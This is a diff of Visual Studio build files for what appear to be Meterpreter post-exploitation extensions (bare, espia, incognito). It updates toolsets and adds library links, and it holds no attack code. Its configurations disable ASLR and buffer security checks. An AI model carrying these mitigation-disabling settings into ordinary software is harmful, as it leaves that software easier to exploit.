<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>$(OutDir)\ext_server_bare.map</MapFileName>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>
|
||||
</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>
|
||||
</DataExecutionPrevention>
|
||||
<ImportLibrary>$(OutDir)\ext_server_bare.lib</ImportLibrary>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
<Profile>false</Profile>
|
||||
<MinimumRequiredVersion>
|
||||
</MinimumRequiredVersion>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)"
|
||||
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
|
||||
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\extensions\bare;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BARE_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>$(OutDir)\ext_server_bare.map</MapFileName>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>
|
||||
</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>
|
||||
</DataExecutionPrevention>
|
||||
<ImportLibrary>$(OutDir)\ext_server_bare.lib</ImportLibrary>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
<Profile>false</Profile>
|
||||
<MinimumRequiredVersion>
|
||||
</MinimumRequiredVersion>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)"
|
||||
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
|
||||
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\extensions\bare;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BARE_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>$(OutDir)\ext_server_bare.map</MapFileName>
|
||||
<SubSystem>NotSet</SubSystem>
|
||||
<OptimizeReferences>
|
||||
</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>
|
||||
</DataExecutionPrevention>
|
||||
<ImportLibrary>$(OutDir)\ext_server_bare.lib</ImportLibrary>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
<Profile>false</Profile>
|
||||
<MinimumRequiredVersion>
|
||||
</MinimumRequiredVersion>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)"
|
||||
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
|
||||
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\extensions\bare;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BARE_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>$(OutDir)\ext_server_bare.map</MapFileName>
|
||||
<SubSystem>NotSet</SubSystem>
|
||||
<OptimizeReferences>
|
||||
</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>
|
||||
</DataExecutionPrevention>
|
||||
<ImportLibrary>$(OutDir)\ext_server_bare.lib</ImportLibrary>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
<Profile>false</Profile>
|
||||
<MinimumRequiredVersion>
|
||||
</MinimumRequiredVersion>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)"
|
||||
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
|
||||
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\source\extensions\bare\bare.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\source\extensions\bare\bare.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\backcompat\backcompat.vcxproj">
|
||||
<Project>{c6fb3275-9067-4bba-9206-0a720d2bc64f}</Project>
|
||||
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
|
||||
</ProjectReference>
|
||||
<ProjectReference Include="..\common\common.vcxproj">
|
||||
<Project>{9e4de963-873f-4525-a7d0-ce34edbbdcca}</Project>
|
||||
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
|
||||
</ProjectReference>
|
||||
<ProjectReference Include="..\metsrv\metsrv.vcxproj">
|
||||
<Project>{37e24f8f-1bd9-490b-8cd2-4768b89e5eab}</Project>
|
||||
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
|
||||
</ProjectReference>
|
||||
<ProjectReference Include="..\ReflectiveDLLInjection\ReflectiveDLLInjection.vcxproj">
|
||||
<Project>{72f0246a-a38d-4547-9057-46020e8e503d}</Project>
|
||||
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
|
||||
</ProjectReference>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
@ -1,5 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
@ -44,45 +44,45 @@
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
@ -191,6 +191,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>..\..\source\extensions\espia;..\..\source\openssl\include;..\..\source\jpeg-8;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_ESPIA_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
@ -201,7 +202,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalOptions>netapi32.lib mpr.lib %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalDependencies>Netapi32.lib;Mpr.lib;metsrv.lib;jpeg.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;..\..\source\jpeg-8\lib\win\x64;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
@ -221,6 +223,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>..\..\source\extensions\espia;..\..\source\openssl\include;..\..\source\jpeg-8;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_ESPIA_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
@ -231,7 +234,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalOptions>netapi32.lib mpr.lib %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalDependencies>Netapi32.lib;Mpr.lib;metsrv.lib;jpeg.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;..\..\source\jpeg-8\lib\win\x64;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
@ -488,4 +492,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
</Project>
|
@ -1,5 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
@ -44,45 +44,45 @@
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
@ -289,6 +289,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>..\..\source\extensions\incognito;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_INCOGNITO_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
@ -299,7 +300,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalOptions>netapi32.lib mpr.lib %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalDependencies>Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
@ -318,6 +321,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>..\..\source\extensions\incognito;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_INCOGNITO_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
@ -328,7 +332,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalOptions>netapi32.lib mpr.lib %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalDependencies>Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
@ -474,4 +480,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
</Project>
|
@ -1,5 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
@ -44,45 +44,45 @@
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
